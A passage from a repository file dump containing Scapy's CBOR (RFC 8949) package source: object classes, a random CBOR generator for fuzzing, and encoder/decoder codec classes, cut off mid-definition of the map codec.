    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nPackage holding CBOR (Concise Binary Object Representation) related modules.\nFollows the same paradigm as ASN.1 implementation.\n\"\"\"\n\nfrom scapy.cbor.cbor import (\n    CBOR_Error,\n    CBOR_Encoding_Error,\n    CBOR_Decoding_Error,\n    CBOR_BadTag_Decoding_Error,\n    CBOR_Codecs,\n    CBOR_MajorTypes,\n    CBOR_Object,\n    CBOR_UNSIGNED_INTEGER,\n    CBOR_NEGATIVE_INTEGER,\n    CBOR_BYTE_STRING,\n    CBOR_TEXT_STRING,\n    CBOR_ARRAY,\n    CBOR_MAP,\n    CBOR_SEMANTIC_TAG,\n    CBOR_SIMPLE_VALUE,\n    CBOR_FALSE,\n    CBOR_TRUE,\n    CBOR_NULL,\n    CBOR_UNDEFINED,\n    CBOR_FLOAT,\n    CBOR_DECODING_ERROR,\n    RandCBORObject,\n)\n\nfrom scapy.cbor.cborcodec import (\n    CBORcodec_Object,\n    CBORcodec_UNSIGNED_INTEGER,\n    CBORcodec_NEGATIVE_INTEGER,\n    CBORcodec_BYTE_STRING,\n    CBORcodec_TEXT_STRING,\n    CBORcodec_ARRAY,\n    CBORcodec_MAP,\n    CBORcodec_SEMANTIC_TAG,\n    CBORcodec_SIMPLE_AND_FLOAT,\n)\n\n__all__ = [\n    # Exceptions\n    \"CBOR_Error\",\n    \"CBOR_Encoding_Error\",\n    \"CBOR_Decoding_Error\",\n    \"CBOR_BadTag_Decoding_Error\",\n    # Codecs\n    \"CBOR_Codecs\",\n    \"CBOR_MajorTypes\",\n    # Objects\n    \"CBOR_Object\",\n    \"CBOR_UNSIGNED_INTEGER\",\n    \"CBOR_NEGATIVE_INTEGER\",\n    \"CBOR_BYTE_STRING\",\n    \"CBOR_TEXT_STRING\",\n    \"CBOR_ARRAY\",\n    \"CBOR_MAP\",\n    \"CBOR_SEMANTIC_TAG\",\n    \"CBOR_SIMPLE_VALUE\",\n    \"CBOR_FALSE\",\n    \"CBOR_TRUE\",\n    \"CBOR_NULL\",\n    \"CBOR_UNDEFINED\",\n    \"CBOR_FLOAT\",\n    \"CBOR_DECODING_ERROR\",\n    # Random/Fuzzing\n    \"RandCBORObject\",\n    # Codec classes\n    \"CBORcodec_Object\",\n    \"CBORcodec_UNSIGNED_INTEGER\",\n    \"CBORcodec_NEGATIVE_INTEGER\",\n    \"CBORcodec_BYTE_STRING\",\n    \"CBORcodec_TEXT_STRING\",\n    \"CBORcodec_ARRAY\",\n    \"CBORcodec_MAP\",\n    \"CBORcodec_SEMANTIC_TAG\",\n    \"CBORcodec_SIMPLE_AND_FLOAT\",\n]\n"
  },
  {
    "path": "scapy/cbor/cbor.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nCBOR (Concise Binary Object Representation) - RFC 8949\nFollowing the ASN.1 paradigm\n\"\"\"\n\nimport random\nfrom typing import (\n    Any,\n    Dict,\n    Generic,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    cast,\n    TYPE_CHECKING,\n)\n\nfrom scapy.compat import plain_str\nfrom scapy.error import Scapy_Exception, log_runtime\nfrom scapy.utils import Enum_metaclass, EnumElement\nfrom scapy.volatile import RandField\n\nif TYPE_CHECKING:\n    from scapy.cbor import CBORcodec_Object\n\n\nclass RandCBORObject(RandField[\"CBOR_Object[Any]\"]):\n    \"\"\"Random CBOR object generator for fuzzing\"\"\"\n\n    def __init__(self, objlist=None):\n        # type: (Optional[List[Type[CBOR_Object[Any]]]]) -> None\n        if objlist:\n            self.objlist = objlist\n        else:\n            # Default list will be populated lazily to avoid forward reference\n            self.objlist = None  # type: ignore\n        self.chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\"  # noqa: E501\n\n    def _get_objlist(self):\n        # type: () -> List[Type[CBOR_Object[Any]]]\n        \"\"\"Get the list of CBOR object types (lazy initialization)\"\"\"\n        if self.objlist is None:\n            # Import here to avoid circular dependency\n            self.objlist = [\n                CBOR_UNSIGNED_INTEGER,\n                CBOR_NEGATIVE_INTEGER,\n                CBOR_BYTE_STRING,\n                CBOR_TEXT_STRING,\n                CBOR_ARRAY,\n                CBOR_MAP,\n                CBOR_FALSE,\n                CBOR_TRUE,\n                CBOR_NULL,\n                CBOR_UNDEFINED,\n                CBOR_FLOAT,\n            ]\n        return self.objlist\n\n    def _fix(self, n=0):\n        # type: (int) -> CBOR_Object[Any]\n        objlist = self._get_objlist()\n\n        # If we're at max recursion depth and have arrays/maps in objlist,\n        # filter them out to avoid infinite recursion\n        if n >= 10:\n            objlist = [o for o in objlist if o not in [CBOR_ARRAY, CBOR_MAP]]\n            if not objlist:\n                # Fallback to a simple type\n                return CBOR_UNSIGNED_INTEGER(\n                    abs(int(random.gauss(1000, 2000))))\n\n        o = random.choice(objlist)\n\n        if o == CBOR_UNSIGNED_INTEGER:\n            # Random unsigned integer using gaussian distribution\n            return o(abs(int(random.gauss(1000, 2000))))\n        elif o == CBOR_NEGATIVE_INTEGER:\n            # Random negative integer - ensure it's always negative\n            return o(-abs(int(random.gauss(1000, 2000))) - 1)\n        elif o == CBOR_BYTE_STRING:\n            # Random byte string with exponential length\n            length = int(random.expovariate(0.05) + 1)\n            return o(bytes(random.randint(0, 255) for _ in range(length)))\n        elif o == CBOR_TEXT_STRING:\n            # Random text string with exponential length\n            length = int(random.expovariate(0.05) + 1)\n            return o(\n                \"\".join(random.choice(self.chars) for _ in range(length)))\n        elif o == CBOR_ARRAY:\n            # Random array with random elements (limit recursion depth)\n            # Use smaller size and limit depth more aggressively for performance\n            size = min(int(random.expovariate(0.2) + 1), 3)  # Smaller arrays\n\n            # Get child objlist - use simple types if current list only has\n            # recursive types\n            child_objlist = self._get_objlist()\n            non_recursive = [\n                t for t in child_objlist if t not in [CBOR_ARRAY, CBOR_MAP]]\n\n            # If objlist only contains recursive types or we're deep, use simple\n            # types for children\n            if not non_recursive or n >= 3:\n                child_objlist = [\n                    CBOR_UNSIGNED_INTEGER, CBOR_TEXT_STRING, CBOR_NULL]\n\n            return o([self.__class__(objlist=child_objlist)._fix(n + 1)\n                      for _ in range(size)])\n        elif o == CBOR_MAP:\n            # Random map with random key-value pairs (limit recursion depth)\n            # CBOR maps use raw Python values as keys, CBOR objects as values\n            # Use smaller size and limit depth more aggressively for\n            # performance\n            size = min(int(random.expovariate(0.2) + 1), 3)  # Smaller maps\n\n            # Get child objlist - use simple types if current list only has\n            # recursive types\n            child_objlist = self._get_objlist()\n            non_recursive = [\n                t for t in child_objlist if t not in [CBOR_ARRAY, CBOR_MAP]]\n\n            # If objlist only contains recursive types or we're deep,\n            # use simple types for children\n            if not non_recursive or n >= 3:\n                child_objlist = [\n                    CBOR_UNSIGNED_INTEGER, CBOR_TEXT_STRING, CBOR_NULL]\n\n            map_dict = {}\n            for _ in range(size):\n                # Use simple hashable types for keys (int or str)\n                if random.choice([True, False]):\n                    key = abs(int(random.gauss(100, 200)))\n                else:\n                    key_len = int(random.expovariate(0.1) + 1)\n                    key = \"\".join(random.choice(self.chars) for _ in range(key_len))  # noqa: E501\n                val_obj = self.__class__(objlist=child_objlist)._fix(n + 1)\n                map_dict[key] = val_obj\n            return o(map_dict)\n        elif o == CBOR_FALSE:\n            return o()\n        elif o == CBOR_TRUE:\n            return o()\n        elif o == CBOR_NULL:\n            return o()\n        elif o == CBOR_UNDEFINED:\n            return o()\n        elif o == CBOR_FLOAT:\n            # Random float with gaussian distribution\n            return o(random.gauss(0, 1000.0))\n\n        # Default fallback to unsigned integer\n        return CBOR_UNSIGNED_INTEGER(\n            abs(int(random.gauss(1000, 2000))))\n\n\n##############\n#    CBOR    #\n##############\n\n\nclass CBOR_Error(Scapy_Exception):\n    pass\n\n\nclass CBOR_Encoding_Error(CBOR_Error):\n    pass\n\n\nclass CBOR_Decoding_Error(CBOR_Error):\n    pass\n\n\nclass CBOR_BadTag_Decoding_Error(CBOR_Decoding_Error):\n    pass\n\n\nclass CBORCodec(EnumElement):\n    def register_stem(cls, stem):\n        # type: (Type[CBORcodec_Object[Any]]) -> None\n        cls._stem = stem\n\n    def dec(cls, s, context=None):\n        # type: (bytes, Optional[Any]) -> CBOR_Object[Any]\n        return cls._stem.dec(s, context=context)  # type: ignore\n\n    def safedec(cls, s, context=None):\n        # type: (bytes, Optional[Any]) -> CBOR_Object[Any]\n        return cls._stem.safedec(s, context=context)  # type: ignore\n\n    def get_stem(cls):\n        # type: () -> type\n        return cls._stem\n\n\nclass CBOR_Codecs_metaclass(Enum_metaclass):\n    element_class = CBORCodec\n\n\nclass CBOR_Codecs(metaclass=CBOR_Codecs_metaclass):\n    CBOR = cast(CBORCodec, 1)\n\n\nclass CBORTag(EnumElement):\n    \"\"\"Represents a CBOR major type\"\"\"\n\n    def __init__(self,\n                 key,  # type: str\n                 value,  # type: int\n                 codec=None  # type: Optional[Dict[CBORCodec, Type[CBORcodec_Object[Any]]]]  # noqa: E501\n                 ):\n        # type: (...) -> None\n        EnumElement.__init__(self, key, value)\n        if codec is None:\n            codec = {}\n        self._codec = codec\n\n    def clone(self):\n        # type: () -> CBORTag\n        return self.__class__(self._key, self._value, self._codec)\n\n    def register_cbor_object(self, cborobj):\n        # type: (Type[CBOR_Object[Any]]) -> None\n        self._cbor_obj = cborobj\n\n    def cbor_object(self, val):\n        # type: (Any) -> CBOR_Object[Any]\n        if hasattr(self, \"_cbor_obj\"):\n            return self._cbor_obj(val)\n        raise CBOR_Error(\"%r does not have any assigned CBOR object\" % self)\n\n    def register(self, codecnum, codec):\n        # type: (CBORCodec, Type[CBORcodec_Object[Any]]) -> None\n        self._codec[codecnum] = codec\n\n    def get_codec(self, codec):\n        # type: (Any) -> Type[CBORcodec_Object[Any]]\n        try:\n            c = self._codec[codec]\n        except KeyError:\n            raise CBOR_Error(\"Codec %r not found for tag %r\" % (codec, self))\n        return c\n\n\nclass CBOR_MajorTypes_metaclass(Enum_metaclass):\n    element_class = CBORTag\n\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[CBOR_MajorTypes]\n        rdict = {}\n        for k, v in dct.items():\n            if isinstance(v, int):\n                v = CBORTag(k, v)\n                dct[k] = v\n                rdict[v] = v\n            elif isinstance(v, CBORTag):\n                rdict[v] = v\n        dct[\"__rdict__\"] = rdict\n\n        ncls = cast('Type[CBOR_MajorTypes]',\n                    type.__new__(cls, name, bases, dct))\n        return ncls\n\n\nclass CBOR_MajorTypes(metaclass=CBOR_MajorTypes_metaclass):\n    \"\"\"CBOR Major Types (RFC 8949)\"\"\"\n    name = \"CBOR_MAJOR_TYPES\"\n    # CBOR major types (3-bit value in the high-order 3 bits)\n    UNSIGNED_INTEGER = cast(CBORTag, 0)\n    NEGATIVE_INTEGER = cast(CBORTag, 1)\n    BYTE_STRING = cast(CBORTag, 2)\n    TEXT_STRING = cast(CBORTag, 3)\n    ARRAY = cast(CBORTag, 4)\n    MAP = cast(CBORTag, 5)\n    TAG = cast(CBORTag, 6)\n    SIMPLE_AND_FLOAT = cast(CBORTag, 7)\n\n\nclass CBOR_Object_metaclass(type):\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[CBOR_Object[Any]]\n        c = cast(\n            'Type[CBOR_Object[Any]]',\n            super(CBOR_Object_metaclass, cls).__new__(cls, name, bases, dct)\n        )\n        try:\n            c.tag.register_cbor_object(c)\n        except Exception:\n            # Some objects may not have tags yet\n            log_runtime.warning(\"Failed to register CBOR object %r\" % c)\n        return c\n\n\n_K = TypeVar('_K')\n\n\nclass CBOR_Object(Generic[_K], metaclass=CBOR_Object_metaclass):\n    \"\"\"Base class for CBOR value objects\"\"\"\n    tag = None  # type: ignore  # Subclasses must define their own tag\n\n    def __init__(self, val):\n        # type: (_K) -> None\n        self.val = val\n\n    def enc(self, codec=None):\n        # type: (Any) -> bytes\n        if codec is None:\n            codec = CBOR_Codecs.CBOR\n        if self.tag is None:\n            raise CBOR_Error(\"Cannot encode object without a tag\")\n        # Pass self instead of self.val for special handling\n        return self.tag.get_codec(codec).enc(self)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s[%r]>\" % (self.__class__.__name__, self.val)\n\n    def __str__(self):\n        # type: () -> str\n        return plain_str(self.enc())\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return self.enc()\n\n    def strshow(self, lvl=0):\n        # type: (int) -> str\n        return (\"  \" * lvl) + repr(self) + \"\\n\"\n\n    def show(self, lvl=0):\n        # type: (int) -> None\n        print(self.strshow(lvl))\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        return bool(self.val == other)\n\n\n#######################\n#     CBOR objects    #\n#######################\n\n\nclass CBOR_UNSIGNED_INTEGER(CBOR_Object[int]):\n    \"\"\"CBOR unsigned integer (major type 0)\"\"\"\n    tag = CBOR_MajorTypes.UNSIGNED_INTEGER\n\n\nclass CBOR_NEGATIVE_INTEGER(CBOR_Object[int]):\n    \"\"\"CBOR negative integer (major type 1)\"\"\"\n    tag = CBOR_MajorTypes.NEGATIVE_INTEGER\n\n\nclass CBOR_BYTE_STRING(CBOR_Object[bytes]):\n    \"\"\"CBOR byte string (major type 2)\"\"\"\n    tag = CBOR_MajorTypes.BYTE_STRING\n\n\nclass CBOR_TEXT_STRING(CBOR_Object[str]):\n    \"\"\"CBOR text string (major type 3)\"\"\"\n    tag = CBOR_MajorTypes.TEXT_STRING\n\n\nclass CBOR_ARRAY(CBOR_Object[List[Any]]):\n    \"\"\"CBOR array (major type 4)\"\"\"\n    tag = CBOR_MajorTypes.ARRAY\n\n    def strshow(self, lvl=0):\n        # type: (int) -> str\n        s = (\"  \" * lvl) + (\"# CBOR_ARRAY:\") + \"\\n\"\n        for o in self.val:\n            if hasattr(o, 'strshow'):\n                s += o.strshow(lvl=lvl + 1)\n            else:\n                s += (\"  \" * (lvl + 1)) + repr(o) + \"\\n\"\n        return s\n\n\nclass CBOR_MAP(CBOR_Object[Dict[Any, Any]]):\n    \"\"\"CBOR map (major type 5)\"\"\"\n    tag = CBOR_MajorTypes.MAP\n\n    def strshow(self, lvl=0):\n        # type: (int) -> str\n        s = (\"  \" * lvl) + (\"# CBOR_MAP:\") + \"\\n\"\n        for k, v in self.val.items():\n            s += (\"  \" * (lvl + 1)) + \"Key: \"\n            if hasattr(k, 'strshow'):\n                s += k.strshow(0).strip() + \"\\n\"\n            else:\n                s += repr(k) + \"\\n\"\n            s += (\"  \" * (lvl + 1)) + \"Value: \"\n            if hasattr(v, 'strshow'):\n                s += v.strshow(0).strip() + \"\\n\"\n            else:\n                s += repr(v) + \"\\n\"\n        return s\n\n\nclass CBOR_SEMANTIC_TAG(CBOR_Object[Tuple[int, Any]]):\n    \"\"\"CBOR semantic tag (major type 6)\"\"\"\n    tag = CBOR_MajorTypes.TAG\n\n\nclass CBOR_SIMPLE_VALUE(CBOR_Object[int]):\n    \"\"\"CBOR simple value (major type 7)\"\"\"\n    tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT\n\n\nclass CBOR_FALSE(CBOR_Object[bool]):\n    \"\"\"CBOR false value\"\"\"\n    tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT\n\n    def __init__(self):\n        # type: () -> None\n        super(CBOR_FALSE, self).__init__(False)\n\n\nclass CBOR_TRUE(CBOR_Object[bool]):\n    \"\"\"CBOR true value\"\"\"\n    tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT\n\n    def __init__(self):\n        # type: () -> None\n        super(CBOR_TRUE, self).__init__(True)\n\n\nclass CBOR_NULL(CBOR_Object[None]):\n    \"\"\"CBOR null value\"\"\"\n    tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT\n\n    def __init__(self):\n        # type: () -> None\n        super(CBOR_NULL, self).__init__(None)\n\n\nclass CBOR_UNDEFINED(CBOR_Object[None]):\n    \"\"\"CBOR undefined value\"\"\"\n    tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT\n\n    def __init__(self):\n        # type: () -> None\n        super(CBOR_UNDEFINED, self).__init__(None)\n\n\nclass CBOR_FLOAT(CBOR_Object[float]):\n    \"\"\"CBOR floating-point number (major type 7)\"\"\"\n    tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT\n\n\nclass _CBOR_ERROR(CBOR_Object[Union[bytes, CBOR_Object[Any]]]):\n    \"\"\"CBOR decoding error wrapper\"\"\"\n    tag = None  # type: ignore  # Error objects don't have a CBOR tag\n\n\nclass CBOR_DECODING_ERROR(_CBOR_ERROR):\n    \"\"\"CBOR decoding error object\"\"\"\n\n    def __init__(self, val, exc=None):\n        # type: (Union[bytes, CBOR_Object[Any]], Optional[Exception]) -> None\n        CBOR_Object.__init__(self, val)\n        self.exc = exc\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s[%r]{{%r}}>\" % (\n            self.__class__.__name__,\n            self.val,\n            self.exc and self.exc.args[0] or \"\"\n        )\n\n    def enc(self, codec=None):\n        # type: (Any) -> bytes\n        if isinstance(self.val, CBOR_Object):\n            return self.val.enc(codec)\n        return self.val  # type: ignore\n"
  },
  {
    "path": "scapy/cbor/cborcodec.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nCBOR Codec Implementation - RFC 8949\nFollowing the BER paradigm for ASN.1\n\"\"\"\n\nimport struct\nfrom typing import (\n    Any,\n    Dict,\n    Generic,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    cast,\n)\n\nfrom scapy.cbor.cbor import (\n    CBOR_Codecs,\n    CBOR_DECODING_ERROR,\n    CBOR_Decoding_Error,\n    CBOR_Encoding_Error,\n    CBOR_Error,\n    CBOR_MajorTypes,\n    CBOR_Object,\n    _CBOR_ERROR,\n)\nfrom scapy.compat import chb, orb\nfrom scapy.error import log_runtime\n\n\n##################\n#  CBOR encoding #\n##################\n\n\nclass CBOR_Exception(Exception):\n    pass\n\n\nclass CBOR_Codec_Encoding_Error(CBOR_Encoding_Error):\n    def __init__(self,\n                 msg,  # type: str\n                 encoded=None,  # type: Optional[Any]\n                 remaining=b\"\"  # type: bytes\n                 ):\n        # type: (...) -> None\n        Exception.__init__(self, msg)\n        self.remaining = remaining\n        self.encoded = encoded\n\n\nclass CBOR_Codec_Decoding_Error(CBOR_Decoding_Error):\n    def __init__(self,\n                 msg,  # type: str\n                 decoded=None,  # type: Optional[Any]\n                 remaining=b\"\"  # type: bytes\n                 ):\n        # type: (...) -> None\n        Exception.__init__(self, msg)\n        self.remaining = remaining\n        self.decoded = decoded\n\n\ndef CBOR_encode_head(major_type, value):\n    # type: (int, int) -> bytes\n    \"\"\"\n    Encode CBOR initial byte and additional info.\n    Format: 3 bits major type + 5 bits additional info\n    \"\"\"\n    if value < 24:\n        # Value fits in 5 bits\n        return chb((major_type << 5) | value)\n    elif value < 256:\n        # 1-byte value follows\n        return chb((major_type << 5) | 24) + chb(value)\n    elif value < 65536:\n        # 2-byte value follows\n        return chb((major_type << 5) | 25) + struct.pack(\">H\", value)\n    elif value < 4294967296:\n        # 4-byte value follows\n        return chb((major_type << 5) | 26) + struct.pack(\">I\", value)\n    else:\n        # 8-byte value follows\n        return chb((major_type << 5) | 27) + struct.pack(\">Q\", value)\n\n\ndef CBOR_decode_head(s):\n    # type: (bytes) -> Tuple[int, int, bytes]\n    \"\"\"\n    Decode CBOR initial byte and additional info.\n    Returns: (major_type, value, remaining_bytes)\n    \"\"\"\n    if not s:\n        raise CBOR_Codec_Decoding_Error(\"Empty CBOR data\", remaining=s)\n\n    initial_byte = orb(s[0])\n    major_type = initial_byte >> 5\n    additional_info = initial_byte & 0x1f\n\n    if additional_info < 24:\n        # Value is in the additional info\n        return major_type, additional_info, s[1:]\n    elif additional_info == 24:\n        # 1-byte value follows\n        if len(s) < 2:\n            raise CBOR_Codec_Decoding_Error(\n                \"Not enough bytes for 1-byte value\", remaining=s)\n        return major_type, orb(s[1]), s[2:]\n    elif additional_info == 25:\n        # 2-byte value follows\n        if len(s) < 3:\n            raise CBOR_Codec_Decoding_Error(\n                \"Not enough bytes for 2-byte value\", remaining=s)\n        value = struct.unpack(\">H\", s[1:3])[0]\n        return major_type, value, s[3:]\n    elif additional_info == 26:\n        # 4-byte value follows\n        if len(s) < 5:\n            raise CBOR_Codec_Decoding_Error(\n                \"Not enough bytes for 4-byte value\", remaining=s)\n        value = struct.unpack(\">I\", s[1:5])[0]\n        return major_type, value, s[5:]\n    elif additional_info == 27:\n        # 8-byte value follows\n        if len(s) < 9:\n            raise CBOR_Codec_Decoding_Error(\n                \"Not enough bytes for 8-byte value\", remaining=s)\n        value = struct.unpack(\">Q\", s[1:9])[0]\n        return major_type, value, s[9:]\n    else:\n        raise CBOR_Codec_Decoding_Error(\n            \"Invalid additional info: %d\" % additional_info, remaining=s)\n\n\n#    [ CBOR codec classes ]    #\n\n\nclass CBORcodec_metaclass(type):\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[CBORcodec_Object[Any]]\n        c = cast('Type[CBORcodec_Object[Any]]',\n                 super(CBORcodec_metaclass, cls).__new__(cls, name, bases, dct))\n        try:\n            c.tag.register(c.codec, c)\n        except Exception:\n            log_runtime.error(\"Failed to register codec for tag\")\n        return c\n\n\n_K = TypeVar('_K')\n\n\nclass CBORcodec_Object(Generic[_K], metaclass=CBORcodec_metaclass):\n    \"\"\"Base CBOR codec class\"\"\"\n    codec = CBOR_Codecs.CBOR\n    tag = CBOR_MajorTypes.UNSIGNED_INTEGER\n\n    @classmethod\n    def cbor_object(cls, val):\n        # type: (_K) -> CBOR_Object[_K]\n        return cls.tag.cbor_object(val)\n\n    @classmethod\n    def check_string(cls, s):\n        # type: (bytes) -> None\n        if not s:\n            raise CBOR_Codec_Decoding_Error(\n                \"%s: Got empty object while expecting tag %r\" %\n                (cls.__name__, cls.tag), remaining=s\n            )\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[Any], bytes]\n        \"\"\"Decode CBOR data using automatic dispatch based on major type.\"\"\"\n        return _decode_cbor_item(s, safe=safe)\n\n    @classmethod\n    def dec(cls,\n            s,  # type: bytes\n            context=None,  # type: Optional[Any]\n            safe=False,  # type: bool\n            ):\n        # type: (...) -> Tuple[Union[_CBOR_ERROR, CBOR_Object[_K]], bytes]\n        if not safe:\n            return cls.do_dec(s, context, safe)\n        try:\n            return cls.do_dec(s, context, safe)\n        except CBOR_Codec_Decoding_Error as e:\n            return CBOR_DECODING_ERROR(s, exc=e), b\"\"\n        except CBOR_Error as e:\n            return CBOR_DECODING_ERROR(s, exc=e), b\"\"\n\n    @classmethod\n    def safedec(cls,\n                s,  # type: bytes\n                context=None,  # type: Optional[Any]\n                ):\n        # type: (...) -> Tuple[Union[_CBOR_ERROR, CBOR_Object[_K]], bytes]\n        return cls.dec(s, context, safe=True)\n\n    @classmethod\n    def enc(cls, s):\n        # type: (_K) -> bytes\n        raise NotImplementedError(\"Subclasses must implement enc\")\n\n\nCBOR_Codecs.CBOR.register_stem(CBORcodec_Object)\n\n\n##########################\n#    CBORcodec objects   #\n##########################\n\n\nclass CBORcodec_UNSIGNED_INTEGER(CBORcodec_Object[int]):\n    \"\"\"CBOR unsigned integer codec (major type 0)\"\"\"\n    tag = CBOR_MajorTypes.UNSIGNED_INTEGER\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[int, CBOR_Object[int]]) -> bytes\n        from scapy.cbor.cbor import CBOR_Object\n        i = obj.val if isinstance(obj, CBOR_Object) else obj\n        if i < 0:\n            raise CBOR_Codec_Encoding_Error(\n                \"Cannot encode negative value as unsigned integer. \"\n                \"Use CBOR_NEGATIVE_INTEGER for negative values.\")\n        return CBOR_encode_head(0, i)\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[int], bytes]\n        cls.check_string(s)\n        major_type, value, remainder = CBOR_decode_head(s)\n        if major_type != 0:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 0 (unsigned integer), got %d\" % major_type,\n                remaining=s)\n        return cls.cbor_object(value), remainder\n\n\nclass CBORcodec_NEGATIVE_INTEGER(CBORcodec_Object[int]):\n    \"\"\"CBOR negative integer codec (major type 1)\"\"\"\n    tag = CBOR_MajorTypes.NEGATIVE_INTEGER\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[int, CBOR_Object[int]]) -> bytes\n        from scapy.cbor.cbor import CBOR_Object\n        i = obj.val if isinstance(obj, CBOR_Object) else obj\n        if i >= 0:\n            raise CBOR_Codec_Encoding_Error(\n                \"Cannot encode non-negative value as negative integer. \"\n                \"Use CBOR_UNSIGNED_INTEGER for non-negative values.\")\n        # CBOR negative integer: -1 - n\n        return CBOR_encode_head(1, -1 - i)\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[int], bytes]\n        cls.check_string(s)\n        major_type, value, remainder = CBOR_decode_head(s)\n        if major_type != 1:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 1 (negative integer), got %d\" % major_type,\n                remaining=s)\n        # Decode: -1 - n\n        return cls.cbor_object(-1 - value), remainder\n\n\nclass CBORcodec_BYTE_STRING(CBORcodec_Object[bytes]):\n    \"\"\"CBOR byte string codec (major type 2)\"\"\"\n    tag = CBOR_MajorTypes.BYTE_STRING\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[bytes, CBOR_Object[bytes]]) -> bytes\n        from scapy.cbor.cbor import CBOR_Object\n        data = obj.val if isinstance(obj, CBOR_Object) else obj\n        if not isinstance(data, bytes):\n            data = bytes(data)\n        return CBOR_encode_head(2, len(data)) + data\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[bytes], bytes]\n        cls.check_string(s)\n        major_type, length, remainder = CBOR_decode_head(s)\n        if major_type != 2:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 2 (byte string), got %d\" % major_type,\n                remaining=s)\n        if len(remainder) < length:\n            raise CBOR_Codec_Decoding_Error(\n                \"Not enough bytes for byte string: expected %d, got %d\" %\n                (length, len(remainder)), remaining=s)\n        return cls.cbor_object(remainder[:length]), remainder[length:]\n\n\nclass CBORcodec_TEXT_STRING(CBORcodec_Object[str]):\n    \"\"\"CBOR text string codec (major type 3)\"\"\"\n    tag = CBOR_MajorTypes.TEXT_STRING\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[str, CBOR_Object[str]]) -> bytes\n        from scapy.cbor.cbor import CBOR_Object\n        text = obj.val if isinstance(obj, CBOR_Object) else obj\n        if isinstance(text, str):\n            text_bytes = text.encode('utf-8')\n        else:\n            text_bytes = bytes(text)\n        return CBOR_encode_head(3, len(text_bytes)) + text_bytes\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[str], bytes]\n        cls.check_string(s)\n        major_type, length, remainder = CBOR_decode_head(s)\n        if major_type != 3:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 3 (text string), got %d\" % major_type,\n                remaining=s)\n        if len(remainder) < length:\n            raise CBOR_Codec_Decoding_Error(\n                \"Not enough bytes for text string: expected %d, got %d\" %\n                (length, len(remainder)), remaining=s)\n        try:\n            text = remainder[:length].decode('utf-8')\n        except UnicodeDecodeError as e:\n            raise CBOR_Codec_Decoding_Error(\n                \"Invalid UTF-8 in text string: %s\" % str(e), remaining=s)\n        return cls.cbor_object(text), remainder[length:]\n\n\nclass CBORcodec_ARRAY(CBORcodec_Object[List[Any]]):\n    \"\"\"CBOR array codec (major type 4)\"\"\"\n    tag = CBOR_MajorTypes.ARRAY\n\n    @classmethod\n    def enc(cls, obj):\n        # type: (Union[List[Any], CBOR_Object[List[Any]]]) -> bytes\n        from scapy.cbor.cbor import CBOR_Object\n        array = obj.val if isinstance(obj, CBOR_Object) else obj\n        result = CBOR_encode_head(4, len(array))\n        for item in array:\n            result += CBORcodec_Object.encode_cbor_item(item)\n        return result\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Any]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[CBOR_Object[List[Any]], bytes]\n        cls.check_string(s)\n        major_type, length, remainder = CBOR_decode_head(s)\n        if major_type != 4:\n            raise CBOR_Codec_Decoding_Error(\n                \"Expected major type 4 (array), got %d\" % major_type,\n                remaining=s)\n\n        items = []\n        for _ in range(length):\n            if not remainder:\n                raise CBOR_Codec_Decoding_Error(\n                    \"Not enough items in array\", remaining=s)\n            item, remainder = CBORcodec_Object.decode_cbor_item(\n                remainder, safe=safe)\n            items.append(item)\n\n        return cls.cbor_object(items), remainder\n\n\nclass CBORcodec_MAP(CBORcodec_Object[Dict[Any, Any]]):\n    \"\"\"CBOR map codec (major type 5)\"\"\"\n    tag = 